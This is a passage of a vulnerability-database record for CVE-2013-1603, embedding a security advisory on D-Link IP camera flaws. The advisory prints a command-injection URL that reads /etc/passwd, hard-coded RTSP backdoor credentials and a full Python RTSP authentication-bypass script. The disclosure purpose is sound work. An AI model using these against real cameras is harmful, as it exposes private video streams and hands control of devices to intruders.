{
"model": "dcs-5605",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.01"
},
{
"model": "wcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-5230l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.03"
},
{
"model": "dcs-7510",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.06"
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.05"
},
{
"model": "dcs-3410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-6410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1100l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-7410",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.00"
},
{
"model": "dcs-1130l",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.04"
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.03"
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.06"
},
{
"model": "dcs-3410",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-5230",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-5230l",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-6410",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.00"
},
{
"model": "dcs-7410",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.00"
},
{
"model": "dcs-7510",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.00"
},
{
"model": "wcs-1100",
"scope": "eq",
"trust": 0.9,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-1100l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130l",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2121",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3411",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3430",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5605",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5635",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5605/5635",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.01"
},
{
"model": "dcs-1100l/1130l",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.04"
},
{
"model": "dcs-1100/1130",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.03"
},
{
"model": "dcs-1100/1130 1.04 us",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102/2121 1.05 ru",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102/2121",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.06"
},
{
"model": "dcs-2102/2121 1.06 fr",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "tesco dcs-2102/2121 1.05 tesco",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
},
{
"model": "dcs-3411/3430",
"scope": "eq",
"trust": 0.6,
"vendor": "d link",
"version": "1.02"
},
{
"model": "tesco dcs-2121 1.05 tesco",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "tesco dcs-2102 1.05 tesco",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-5635",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.01"
},
{
"model": "dcs-5605",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.01"
},
{
"model": "dcs-3430",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-3411",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.02"
},
{
"model": "dcs-2121 1.06 fr",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2121",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.06"
},
{
"model": "dcs-2121 1.05 ru",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102 1.06 fr",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.06"
},
{
"model": "dcs-2102 1.05 ru",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130l",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.04"
},
{
"model": "dcs-1130 1.04 us",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.03"
},
{
"model": "dcs-1100l",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.04"
},
{
"model": "dcs-1100 1.04 us",
"scope": null,
"trust": 0.3,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 0.3,
"vendor": "d link",
"version": "1.03"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04638"
},
{
"db": "BID",
"id": "59571"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"db": "NVD",
"id": "CVE-2013-1603"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Pablo Santamaria",
"sources": [
{
"db": "BID",
"id": "59571"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-041"
}
],
"trust": 0.9
},
"cve": "CVE-2013-1603",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2013-1603",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2013-04638",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"exploitabilityScore": 3.9,
"id": "CVE-2013-1603",
"impactScore": 1.4,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 5.3,
"baseSeverity": "Medium",
"confidentialityImpact": "Low",
"exploitabilityScore": null,
"id": "CVE-2013-1603",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-1603",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2013-1603",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNVD",
"id": "CNVD-2013-04638",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201305-041",
"trust": 0.6,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04638"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-041"
},
{
"db": "NVD",
"id": "CVE-2013-1603"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream. plural D-Link The product contains a vulnerability involving the use of hard-coded credentials.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. The account username is arbitrary and the password is \\\"?*\\\". \nRemote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access. \nhttp://drupal.org/node/207891. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n 1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n 2. [CVE-2013-1600] to access the video stream via HTTP,\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n 4. [CVE-2013-1602] to access the video stream via RTSP,\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n . DCS-3411/3430 - firmware v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n . DCS-3411/3430 - v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o . O O O O O O . o o o o o o o o o\nO O O O O O . O O O O O O O . o o o o o o o o o\nO O O O O O o O O O O O O O . o . o o o o o o o o\nO O O O O O o O O O O O O O . o o o . o o o o o o o o\nO O O O O O o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O . o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O O O O O O . o O O o o O O o . o o o o o\nO O O O O O O . o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O . O O O . o o o O o o O O o . o o o o\nO O O O O O O O O O O . o o o O o o O O o . o o o\nO O O O O O O O o o O o o o o o O o o o O o . o o o\nO O O O O O O O O . O o o o o o O o . o O o . o o\nO O O O O O O O O . O o . o o o o O . o O o . o\nO O O O O O O O O o o . o o o o o . o O o . o\nO O O O O O O O O O . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o . \no o O O O O O O O O o . o o o . o . O o . \no o o O O O O O O O o . o o o . o . O o . \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n 1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n 2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n \n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n \n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n \n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n \n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind((\u0027\u0027, self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break \n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind((\u0027\u0027, src_port))\n self.sock.listen(5)\n \n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return \u0027\u0027\n\n\nclass DLink(Camera):\n # D-Link DCS-2102/1.06-5731\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n DEFAULT_CSEQ = 1\n DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n def __init__(self, local_port, camera):\n self.last_describe_req = \u0027\u0027\n self.camera = camera\n self.local_port = local_port\n \n def start(self):\n log(\u0027[!] Starting bypasser\u0027)\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n \n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n data+= \u0027\\r\\n\u0027\n # Attach the spoofed describe\n data+= spoofed_describe \n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass \n return data\n\nif __name__ == \u0027__main__\u0027:\n if len( sys.argv ) \u003e 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n else:\n print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027 \n-----/\n\n7.5. \n\n/-----\nusername: (any) \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468 ; Load from Memory\n.text:00011468 LDR R3, [R11,#s2]\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" \u003c-------\n.text:0001148C MOV R2, #3 ; n\n.text:00011490 BL strncmp ; Branch with Link\n.text:00011494 MOV R3, R0 ; Rd = Op2\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE loc_114BC ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will 